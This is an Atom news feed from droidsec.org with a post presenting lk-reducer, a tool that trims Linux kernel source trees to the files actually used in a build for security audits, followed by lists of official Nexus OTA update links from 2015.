<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
 
 <title>droidsec.org News</title>
 <link href="http://www.droidsec.org/atom.xml" rel="self"/>
 <link href="http://www.droidsec.org"/>
 <updated>2024-09-19T22:39:00+00:00</updated>
 <id>http://www.droidsec.org</id>
 <author>
   <name>droidsec members</name>
   <email></email>
 </author>

 
 <entry>
   <title>A Simple Tool for Linux Kernel Audits</title>
   <link href="http://www.droidsec.org/blogs/2017/05/22/a-simple-tool-for-linux-kernel-audits.html"/>
   <updated>2017-05-22T10:00:00+00:00</updated>
   <id>http://www.droidsec.org/blogs/2017/05/22/a-simple-tool-for-linux-kernel-audits</id>
   <content type="html">&lt;p&gt;In Android, the Linux kernel is the crux of security. It is responsible for enforcing access control to just about everything in the system. If an attacker can gain arbitrary code execution in kernel mode, they can bypass application sandboxing, access hardware directly, and more.&lt;/p&gt;

&lt;h2 id=&quot;motivation&quot;&gt;Motivation&lt;/h2&gt;
&lt;p&gt;Over the years, the Linux kernel source code has grown significantly. It contains code for all supported functionality including drivers for a wide variety of hardware across several supported architectures. A modern Linux kernel source tree is quite large. The tree we will use in our demonstration within this post is 729 megabytes.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dev:0:/android/source/kernel/msm$ du -hs . --exclude .git
729M    .
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, you may be wondering why size matters. To better understand, let us put ourselves in the shoes of Bob. He works professionally as a source code auditor. Companies hire him to read through vast amounts of source code to discover and fix bugs and/or vulnerabilities in the code. Bob’s success depends on devising and executing a strategy to use his time most effectively. Some auditors may opt to use automated tools while others may choose to manually read through the code.&lt;/p&gt;

&lt;p&gt;Bob prefers to work smarter instead of harder so he has developed a suite of regular expressions that he runs over the kernel code to identify potential problem areas. After sifting through the results and analyzing the surrounding code, he discovers a rather serious looking problem in a driver. He pulls out the test device for the project and quickly finds that the driver is not loaded. Oh no! Now Bob becomes curious. He reaches out and asks which Android devices in the “Droid Army” are using the driver. Unfortunately, it turns out no devices use that driver. In my opinion, this represents an error in Bob’s strategy that led him to wasting his time. Is there anything Bob can do differently to avoid this fate in the future? The answer is “Yes.”&lt;/p&gt;

&lt;h2 id=&quot;the-tool&quot;&gt;The Tool&lt;/h2&gt;
&lt;p&gt;Enter the Linux Kernel reducer, or &lt;em&gt;lk-reducer&lt;/em&gt; for short. This tool helps avoid some of the problems we have discussed thus far. It works by monitoring file system access while building the Linux kernel. (By no means is its utility limited to the Linux Kernel, but it is simply where we found a need.) This is possible because providing the Linux Kernel source code is a legal requirement under the GNU Public License (GPL). By monitoring the build process, we are able to determine which files from within the source tree have been used to build the final kernel image. Some files will inevitably not get used and thus we can determine that they are not needed. Therefore, they can be eliminated from review during a source code audit. This saves time during both manual and automated source code reviews.&lt;/p&gt;

&lt;p&gt;The current incarnation of the tool is a slight modification of an implementation by Jann Horn. The first incarnation consisted of using strace(1) and a bunch of shell scripts to monitor calls to the open(2) system call. Jann developed his version around the Linux &lt;em&gt;inotify&lt;/em&gt; subsystem. His implementation is much more clean and performant. My only modifications were to let the user decide how to process the monitoring results based on a data file. The tool generates a file called “lk-reducer.out” that shows whether each file was &lt;strong&gt;A&lt;/strong&gt;ccessed, &lt;strong&gt;U&lt;/strong&gt;ntouched, or &lt;strong&gt;G&lt;/strong&gt;enerated. Let us see it in action!&lt;/p&gt;

&lt;h2 id=&quot;a-demonstration&quot;&gt;A Demonstration&lt;/h2&gt;
&lt;p&gt;Once the tool is downloaded and compiled, give it the path to your Linux kernel source tree:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dev:0:lk-reducer$ ./lk-reducer /android/source/kernel/msm
dev:0:msm$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, build the Linux kernel to track which files are accessed. Remember to not only configure and build the kernel, but also clean the build too. Otherwise, we might miss files used during the cleaning process and end up with a tree we can build but not clean.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dev:0:msm$ export ARCH=arm64 SUBARCH=arm64 CROSS_COMPILE=aarch64-linux-androidkernel-
dev:0:msm$ make marlin_defconfig
  HOSTCC  scripts/basic/fixdep
  HOSTCC  scripts/kconfig/conf.o
  SHIPPED scripts/kconfig/zconf.tab.c
  SHIPPED scripts/kconfig/zconf.lex.c
  SHIPPED scripts/kconfig/zconf.hash.c
  HOSTCC  scripts/kconfig/zconf.tab.o
  HOSTLD  scripts/kconfig/conf
drivers/soc/qcom/Kconfig:381:warning: choice value used outside its choice group
drivers/soc/qcom/Kconfig:386:warning: choice value used outside its choice group
#
# configuration written to .config
#
dev:0:msm$ make
scripts/kconfig/conf --silentoldconfig Kconfig
drivers/soc/qcom/Kconfig:381:warning: choice value used outside its choice group
drivers/soc/qcom/Kconfig:386:warning: choice value used outside its choice group
  CHK     include/config/kernel.release
[... further build output omitted for brevity ...]
  DTC     arch/arm64/boot/dts/htc/msm8996-v3-htc_sailfish-xb.dtb
  GZIP    arch/arm64/boot/Image.gz
  CAT     arch/arm64/boot/Image.gz-dtb
dev:0:msm$ make mrproper
  CLEAN   .
  CLEAN   arch/arm64/kernel/vdso
  CLEAN   arch/arm64/kernel
  CLEAN   crypto/asymmetric_keys
  CLEAN   kernel/time
  CLEAN   kernel
  CLEAN   lib
  CLEAN   net/wireless
  CLEAN   security/selinux
  CLEAN   usr
  CLEAN   arch/arm64/boot/dts/htc
  CLEAN   arch/arm64/boot
  CLEAN   .tmp_versions
  CLEAN   scripts/basic
  CLEAN   scripts/dtc
  CLEAN   scripts/kconfig
  CLEAN   scripts/mod
  CLEAN   scripts/selinux/genheaders
  CLEAN   scripts/selinux/mdp
  CLEAN   scripts
  CLEAN   include/config include/generated arch/arm64/include/generated
  CLEAN   .config .version include/generated/uapi/linux/version.h Module.symvers
dev:0:msm$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With the build and clean process completed, simply exit the sub-shell to generate the data file:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dev:0:msm$ exit
exit
processing remaining events...
inotify event collection phase is over, dumping results to &quot;lk-reducer.out&quot;...
cleanup complete
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;From here, you can analyze the data file and choose whether to delete the files from the current source tree or copy them to another place. I tend to copy the files to another directory and audit from there.&lt;/p&gt;

&lt;p&gt;NOTE: If you’re working with a tree from Git, you might want to filter out the &lt;em&gt;.git&lt;/em&gt; subdirectory as I’ve done here. You can always consult the history in the original repository.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dev:0:msm$ grep ^A lk-reducer.out | cut -c 3- | grep -v &apos;\./\.git/&apos; &amp;gt; lk-reducer-keep.out
dev:0:msm$ mkdir ../msm-marlin-reduced
dev:0:msm$ tar cf - -T lk-reducer-keep.out | tar xf - -C ../msm-marlin-reduced/
dev:0:msm$ du -hs ../msm-marlin-reduced/
132M    ../msm-marlin-reduced/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can see, we’ve reduced the source code from 729 megabytes down to only 132 megabytes. More importantly, we know that there’s no code left that is not built into the final kernel image.&lt;/p&gt;

&lt;h2 id=&quot;limitations&quot;&gt;Limitations&lt;/h2&gt;
&lt;p&gt;Of course, this is not the only problem faced when auditing the Linux kernel. Even though we have eliminated code that isn’t accessed at build time, some remaining code may not get used due to probing, system configuration, or other states that may be out of our control. Also, code within a file might still be thrown out by the pre-processor or optimized out during compilation. Further, this tool does nothing to help understand the threat model or determine attack surfaces that might be interesting for an audit.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This post defines one problem Linux kernel auditors face and presents a tool designed to help solve it. Jann and I are pleased to publish this tool to assist the community in their source code audits of the Linux kernel. It is our hope that the tool will save you time and make you more effective. You can find the tool on GitHub &lt;a href=&quot;https://github.com/jduck/lk-reducer/&quot;&gt;here&lt;/a&gt;. Thank you for your time and best of luck and your kernel auditing endeavors!&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>December 2015 Android OTA Update Links</title>
   <link href="http://www.droidsec.org/news/2015/12/13/nexus-ota-updates-december-2015.html"/>
   <updated>2015-12-13T23:00:00+00:00</updated>
   <id>http://www.droidsec.org/news/2015/12/13/nexus-ota-updates-december-2015</id>
   <content type="html">&lt;p&gt;This month brings both the release of Android 6.0.1 and another round of security patches for Nexus devices. The &lt;a href=&quot;https://source.android.com/security/bulletin/2015-12-01.html&quot;&gt;December 2015 Nexus Security Bulletin&lt;/a&gt; details the issues fixed but has yet to be updated to include links to specific changes that fix each bug. I’ve updated our &lt;a href=&quot;http://changes.droidsec.org/&quot;&gt;AOSP Changes&lt;/a&gt; site to show &lt;del&gt;&lt;em&gt;almost&lt;/em&gt; (android-6.0.0_r6 seems not pushed yet)&lt;/del&gt; all of the new changes in glorious hyper-linked diff format. Several of the disclosed issues are marked as &lt;strong&gt;critical&lt;/strong&gt; security fixes. It’s important that these fixes reach users &lt;em&gt;as quickly as possible&lt;/em&gt;. In the spirit of helping that happen, we continue to deliver on our pledge to help get these updates to security conscious individuals faster. Without further ado, I present the OTA links you all know and love.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: It turns out that android-6.0.0_r6 is not relevant to the December security bulletin, but rather just another build for 6.0 with a 2015-11-01 security patch level.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;UPDATE 2&lt;/strong&gt;: Added OTA URLs for the Nexus 6.&lt;/p&gt;

&lt;h3 id=&quot;ota-update-urls-for-currently-supported-nexus-devices&quot;&gt;OTA Update URLs for Currently Supported Nexus Devices&lt;/h3&gt;

&lt;p&gt;NOTE: Some URLs are not yet available. This post will be updated once those URLs are discovered.&lt;/p&gt;

&lt;p&gt;Nexus 6P &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_angler_angler/2ca8bba99f3acad20321851606a0f1ed65b6820e.signed-angler-MMB29M-from-MDB08M.zip&quot;&gt;MMB29M from MDB08M&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus 5X &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_bullhead_bullhead/37e604652aece605908ecfbf62fbe86de37cba67.signed-bullhead-MMB29K-from-MDB08M.zip&quot;&gt;MMB29K from MDB08M&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus 6 &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_shamu_shamu/40b8503e933d417f533d3081d446e19a04aaee2a.signed-shamu-MMB29K-from-MRA58N_full_radio.zip&quot;&gt;MMB29K from MRA58N&lt;/a&gt;&lt;br /&gt;
Nexus 6 &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_shamu_shamu/2f753015c3198623d766fa198d12679700bb371f.2f753015c3198623d766fa198d12679700bb371f.signed-shamu-MMB29K-from-MRA58R_full_radio.zip&quot;&gt;MMB29K from MRA58R&lt;/a&gt;&lt;br /&gt;
Nexus 6 &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_shamu_shamu/6bdbb55d6208ca071d834a16c42b7193825ac992.6bdbb55d6208ca071d834a16c42b7193825ac992.signed-shamu-MMB29K-from-MRA58X_full_radio.zip&quot;&gt;MMB29K from MRA58X&lt;/a&gt;&lt;br /&gt;
Nexus 6 &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_shamu_shamu/d9c3536aec45f667f5be5278da27810044f49e1a.d9c3536aec45f667f5be5278da27810044f49e1a.signed-shamu-MMB29K-from-MRA58K_full_radio.zip&quot;&gt;MMB29K from MRA58K&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus Player &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_fugu_fugu/97ba3f395e8f0355d3cc49187d025d085433d734.signed-fugu-MMB29M-from-MRA58N.zip&quot;&gt;MMB29M from MRA58N&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus 9 (LTE) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_flounderlte_volantisg/1ab75760457cd9def4c8b117baeccbc6867d1c0d.signed-volantisg-MMB29K-from-MRA58N.zip&quot;&gt;MMB29K from MRA58N&lt;/a&gt;&lt;br /&gt;
Nexus 9 (Wi-Fi) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_flounder_volantis/03d89e7a8422ffc6b1b2c68adbd9d2b383e2f416.signed-volantis-MMB29K-from-MRA58N.zip&quot;&gt;MMB29K from MRA58N&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus 5 (GSM/LTE) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_hammerhead/78757019dc99b65206120a1e878e224ef4f44958.signed-hammerhead-MMB29K-from-MRA58N_full_radio.zip&quot;&gt;MMB29K from MRA58N&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus 7 2013 (Wi-Fi) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razor/3b98ed54a695a70b5dcfb4d0d79123435630a223.signed-razor-MMB29K-from-MRA58V.zip&quot;&gt;MMB29K from MRA58V&lt;/a&gt;&lt;br /&gt;
Nexus 7 2013 (Mobile) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razorg/351ce5dd8b2ec5d3a75b1b381947c2a0319ba799.signed-razorg-MMB29K-from-MRA58V.zip&quot;&gt;MMB29K from MRA58V&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Additional updates were provided in order to upgrade devices running older Lollipop MR1 (5.1.1) or Marshmallow REL (6.0.0) builds to Marshmallow MR1 (6.0.1).&lt;/p&gt;

&lt;p&gt;Nexus 6P &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_angler_angler/533df5ddfa4297997634a8553f0122be5cca4c09.signed-angler-MMB29M-from-MDB08L.zip&quot;&gt;MMB29M from MDB08L&lt;/a&gt;&lt;br /&gt;
Nexus 6P &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_angler_angler/75ef6d44a89c7def63d0b3dbbf5a74028a25f805.signed-angler-MMB29M-from-MDA89D.zip&quot;&gt;MMB29M from MDA89D&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus 5X &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_bullhead_bullhead/f67821b18f5a3bc6552039f0997fc9511f05c2c3.signed-bullhead-MMB29K-from-MDB08L.zip&quot;&gt;MMB29K from MDB08L&lt;/a&gt;&lt;br /&gt;
Nexus 5X &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_bullhead_bullhead/ba7fb7c372a7fb86f2fc816ce5ffc5fbb021b64d.signed-bullhead-MMB29K-from-MDA89E.zip&quot;&gt;MMB29K from MDA89E&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus 9 (LTE) MMB29K from LMY48X&lt;br /&gt;
Nexus 9 (Wi-Fi) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_flounder_volantis/ab442e8bef988210644c5570608ea883d276e4d2.signed-volantis-MMB29K-from-LMY48T.zip&quot;&gt;MMB29K from LMY48T&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus 7 2013 (Wi-Fi) MMB29K from MRA58N&lt;br /&gt;
Nexus 7 2013 (Wi-Fi) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razor/c40922a154376a3ed7f62828991f52c4f8e98861.signed-razor-MMB29K-from-LMY47O.zip&quot;&gt;MMB29K from LMY47O&lt;/a&gt;&lt;br /&gt;
Nexus 7 2013 (Wi-Fi) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razor/9ba8f6b2b50f5e7e56e897241bd2877339e6b437.signed-razor-MMB29K-from-LMY48M.zip&quot;&gt;MMB29K from LMY48M&lt;/a&gt;&lt;br /&gt;
Nexus 7 2013 (Wi-Fi) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razor/b2a8bd376ff65e783ac4fb7aeb692c6d5e4ab3c9.signed-razor-MMB29K-from-LMY48I.zip&quot;&gt;MMB29K from LMY48I&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus 7 2013 (Mobile) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razorg/81f6e28f8546151e5d81acf7d103df1f803fb9e0.signed-razorg-MMB29K-from-MRA58N.zip&quot;&gt;MMB29K from MRA58N&lt;/a&gt;&lt;br /&gt;
Nexus 7 2013 (Mobile) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razorg/0a9634a61c993217d0af675857f3b9fc2cdcb36f.signed-razorg-MMB29K-from-LMY48X.zip&quot;&gt;MMB29K from LMY48X&lt;/a&gt;&lt;br /&gt;
Nexus 7 2013 (Mobile) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razorg/d832906c10018edfb40998fce62feddf35c4be73.signed-razorg-MMB29K-from-LMY48U.zip&quot;&gt;MMB29K from LMY48U&lt;/a&gt;&lt;br /&gt;
Nexus 7 2013 (Mobile) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razorg/33d700ceb531eba5f345b7b34552cb416dc7842f.signed-razorg-MMB29K-from-LMY48P.zip&quot;&gt;MMB29K from LMY48P&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus 5 &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_hammerhead/8289b2789a93980a82b50ba03a6eaced5355cdc5.signed-hammerhead-MMB29K-from-LMY48M_full_radio.zip&quot;&gt;MMB29K from LMY48M&lt;/a&gt;&lt;br /&gt;
Nexus 5 &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_hammerhead/c70e89cf675e625fac80eb4a2874e5449c2cb7af.signed-hammerhead-MMB29K-from-LMY48I_full_radio.zip&quot;&gt;MMB29K from LMY48I&lt;/a&gt;&lt;br /&gt;
Nexus 5 &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_hammerhead/6333d05e19d3e19d8eb8ffd7e84ebea559eb07a1.signed-hammerhead-MMB29K-from-LMY48B_full_radio.zip&quot;&gt;MMB29K from LMY48B&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;The following devices will not be updated to 6.0.x and instead received only a 5.1.1 update this cycle.&lt;/p&gt;

&lt;p&gt;Nexus 10 &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_mantaray/b1bf369db701712bdaedb2a2b2c698c680348c5a.signed-mantaray-LMY48Z-from-LMY48X.zip&quot;&gt;LMY48Z from LMY48X&lt;/a&gt;&lt;br /&gt;
Nexus 10 &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_mantaray/d45165fd873c51b4b3416912197a298f1df45ef9.signed-mantaray-LMY48Z-from-LMY47V.zip&quot;&gt;LMY48Z from LMY47V&lt;/a&gt;&lt;br /&gt;
Nexus 10 &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_mantaray/9ecf6bd266f2443e9f99ea4f78c1f79b9bb860ee.signed-mantaray-LMY48Z-from-LMY48I.zip&quot;&gt;LMY48Z from LMY48I&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Devices older than, and including, the Nexus 4 are no longer supported. Please, for the sake of Internet security, upgrade to a newer device!&lt;/p&gt;

&lt;p&gt;Best of luck to you and cheers to a continued focus on providing regular, timely security updates!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>November 2015 OTA Links</title>
   <link href="http://www.droidsec.org/news/2015/11/02/nexus-update-november-2015.html"/>
   <updated>2015-11-02T02:00:00+00:00</updated>
   <id>http://www.droidsec.org/news/2015/11/02/nexus-update-november-2015</id>
   <content type="html">&lt;p&gt;A new month brings a new round of security patches for Nexus devices. The &lt;a href=&quot;https://groups.google.com/forum/#!topic/android-security-updates/GwZn7sixask&quot;&gt;November 2015 Nexus Security Bulletin&lt;/a&gt; details the issues fixed and has been updated (as of yesterday) to include links to specific changes that fix each bug. I’ve updated our &lt;a href=&quot;http://changes.droidsec.org/&quot;&gt;AOSP Changes&lt;/a&gt; site to show all of the new changes in glorious hyperlinked diff format. Several of the disclosed issues are marked as &lt;strong&gt;critical&lt;/strong&gt; security fixes. It’s important that these fixes reach users &lt;em&gt;as quickly as possible&lt;/em&gt;. In the spirit of helping that happen, we continue to deliver on our pledge to help get these updates to security conscious individuals faster. Without further ado, I present the OTA links you all know and love.&lt;/p&gt;

&lt;h3 id=&quot;ota-update-urls-for-currently-supported-nexus-devices&quot;&gt;OTA Update URLs for Currently Supported Nexus Devices&lt;/h3&gt;

&lt;p&gt;NOTE: Some URLs are not yet available. This post will be updated once those URLs are discovered.&lt;/p&gt;

&lt;p&gt;Nexus 6P &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_angler_angler/3852d856c8ae8616d4525ae889d22475341b4028.signed-angler-MDB08L-from-MDB08K.zip&quot;&gt;MDB08L from MDB08K&lt;/a&gt;&lt;br /&gt;
Nexus 6P MDB08M from MDB08L&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus 5X &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_bullhead_bullhead/37f6b613de9a116389b613728ccc9d0d7e594472.signed-bullhead-MDB08L-from-MDB08I.zip&quot;&gt;MDB08L from MDB08I&lt;/a&gt;&lt;br /&gt;
Nexus 5X MDB08M from MDB08L&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus 6 &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_shamu_shamu/c6ca6b261d6ef375c33a5d5f9dac14af2896f8dc.signed-shamu-MRA58N-from-MRA58K.zip&quot;&gt;MRA58N from MRA58K&lt;/a&gt;&lt;br /&gt;
Nexus 6 MRA58R from MRA48N&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus Player &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_fugu_fugu/ad4ef1a7fe85027b59ebeacba61d80d2918bc567.signed-fugu-MRA58N-from-MRA58K.zip&quot;&gt;MRA58N from MRA58K&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus 9 (LTE) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_flounderlte_volantisg/27bce5af928612ff95a7f4243090b6bfa444db5d.signed-volantisg-MRA58N-from-MRA58K.zip&quot;&gt;MRA58N from MRA58K&lt;/a&gt;&lt;br /&gt;
Nexus 9 (Wi-Fi) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_flounder_volantis/b335330ea0b0a2037cc46923cfbded12e65f522d.signed-volantis-MRA58N-from-MRA58K.zip&quot;&gt;MRA58N from MRA58K&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus 5 (GSM/LTE) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_hammerhead/55f77e7f2512b8759b3ff14cd9be04cbdeb7274e.signed-hammerhead-MRA58N-from-MRA58K1.zip&quot;&gt;MRA58N from MRA58K&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nexus 7 2013 (Wi-Fi) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razor/28b4fc4e22ed5195bd3dec85bfc82bdfde804ab7.signed-razor-MRA58U-from-MRA58K.zip&quot;&gt;MRA58U from MRA58K&lt;/a&gt;&lt;br /&gt;
Nexus 7 2013 (Wi-Fi) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razor/4c6989a4542d37e23a121bf370bd748aa37df692.signed-razor-MRA58V-from-MRA58U.zip&quot;&gt;MRA58V from MRA58U&lt;/a&gt;&lt;br /&gt;
Nexus 7 2013 (Mobile) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razorg/1c4d3a8234eca8fc5e5021d7e1d0f3c277601b37.1c4d3a8234eca8fc5e5021d7e1d0f3c277601b37.signed-razorg-MRA58V-from-MRA58K.zip&quot;&gt;MRA58V from MRA58K&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Some additional updates were provided for devices with Marshmallow support that are still running Lollipop. This wraps up some loose ends from the OTA updates released last month.&lt;/p&gt;

&lt;p&gt;Nexus 7 2013 (Wi-Fi) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razor/38f0ee2d43a54ac6fa4158736f1f9398a530a8ba.signed-razor-MRA58V-from-LMY48T.zip&quot;&gt;MRA58V from LMY48T&lt;/a&gt;&lt;br /&gt;
Nexus 7 2013 (Mobile) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_razorg/5062d15b924b85d82ce5fca5529472a626baf41a.signed-razorg-MRA58V-from-LMY48U.zip&quot;&gt;MRA58V from LMY48U&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;The following devices will not be updated to 6.0.0 and instead received only a 5.1.1 update this cycle.&lt;/p&gt;

&lt;p&gt;Nexus 10 &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_mantaray/471fbe1488f867ebb537e6fe9c938eafe1716b0e.signed-mantaray-LMY48X-from-LMY48T.zip&quot;&gt;LMY48X from LMY48T&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Devices older than, and including, the Nexus 4 are no longer supported. Please, for the sake of Internet security, upgrade to a newer device!&lt;/p&gt;

&lt;p&gt;Best of luck to you and cheers to a continued focus on providing regular, timely security updates!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>October 2015 OTA Links: Moar security fixes!</title>
   <link href="http://www.droidsec.org/news/2015/10/06/nexus-update-october-2015.html"/>
   <updated>2015-10-06T02:00:00+00:00</updated>
   <id>http://www.droidsec.org/news/2015/10/06/nexus-update-october-2015</id>
   <content type="html">&lt;p&gt;Yesterday was an exciting day of Android releases. It brought both the &lt;a href=&quot;https://groups.google.com/forum/#!topic/android-security-updates/_Rm-lKnS2M8&quot;&gt;October 2015 Nexus Security Bulletin&lt;/a&gt; and the &lt;a href=&quot;http://officialandroid.blogspot.com/2015/10/get-ready-for-sweet-taste-of-android-60.html&quot;&gt;public release of Android 6.0 Marshmallow&lt;/a&gt;. I’ve updated our &lt;a href=&quot;http://changes.droidsec.org/&quot;&gt;AOSP Changes&lt;/a&gt; site to show all of the new changes in glorious hyperlinked diff format. Both releases fix numerous &lt;strong&gt;critical&lt;/strong&gt; security issues, so it’s important that these fixes reach users &lt;em&gt;as quickly as possible&lt;/em&gt;. In the spirit of helping that happen, &lt;a href=&quot;http://www.droidsec.org/news/2015/09/16/nexus-update-september-2015.html&quot;&gt;last month&lt;/a&gt; we pledged to help get these updates to security conscious individuals faster. Without further ado, I present the OTA links you all know and love.&lt;/p&gt;

&lt;p&gt;NOTE: Some update URLs are still yet to be discovered. This post will be updated as soon as they become available.&lt;/p&gt;

&lt;h3 id=&quot;ota-update-urls-for-currently-supported-nexus-devices&quot;&gt;OTA Update URLs for Currently Supported Nexus Devices&lt;/h3&gt;

&lt;p&gt;Nexus 6 (Global) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_shamu_shamu/60981380fa0bffffca66a8cf9787766397fd39fa.signed-shamu-LMY48T-from-LMY48M.zip&quot;&gt;LMY48T from LMY48M&lt;/a&gt;&lt;br /&gt;
Nexus 6 (Global) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_shamu_shamu/6035ff8ac2acfe9017a7dc2e7ae4bbc926bddfb4.signed-shamu-MRA58K-from-LMY48T.zip&quot;&gt;MRA58K from LMY48T&lt;/a&gt;&lt;br /&gt;
Nexus 6 (T-Mobile) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_shamu_shamu/c3c03aa6ba1b2932dd19bdb5cdee3914f033c6b8.signed-shamu-LYZ28M-from-LYZ28K.zip&quot;&gt;LYZ28M from LYZ28K&lt;/a&gt;&lt;br /&gt;
Nexus 6 (T-Mobile) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_shamu_shamu/24a7b275b108deb785e2633a7127474e97e91fcf.signed-shamu-MRA58K-from-LYZ28M.zip&quot;&gt;MRA58K from LYZ28M&lt;/a&gt;&lt;br /&gt;
Nexus 6 (Project Fi) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_shamu_shamu/47fa2268aa05f665421dd980b4e9c46c124e6877.signed-shamu-LVY48H-from-LVY48F.zip&quot;&gt;LVY48H from LVY48F&lt;/a&gt;&lt;br /&gt;
Nexus 6 (Project Fi) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_shamu_shamu/35f0e0612b183ceaef84195e550f30314758cf40.signed-shamu-MRA58K-from-LVY48H.zip&quot;&gt;MRA58K from LVY48H&lt;/a&gt;&lt;br /&gt;
Nexus 6 (AT&amp;amp;T) &lt;a href=&quot;https://android.googleapis.com/packages/ota/google_shamu_shamu/5d7acfea18c582d66fbdc32e0d0f8954b4d34a04.signed-shamu-LMY48W-from-LMY48M.zip&quot;&gt;LMY48W from LMY48M&lt;/a&gt; (credit: Android Police)&lt;br /&gt;
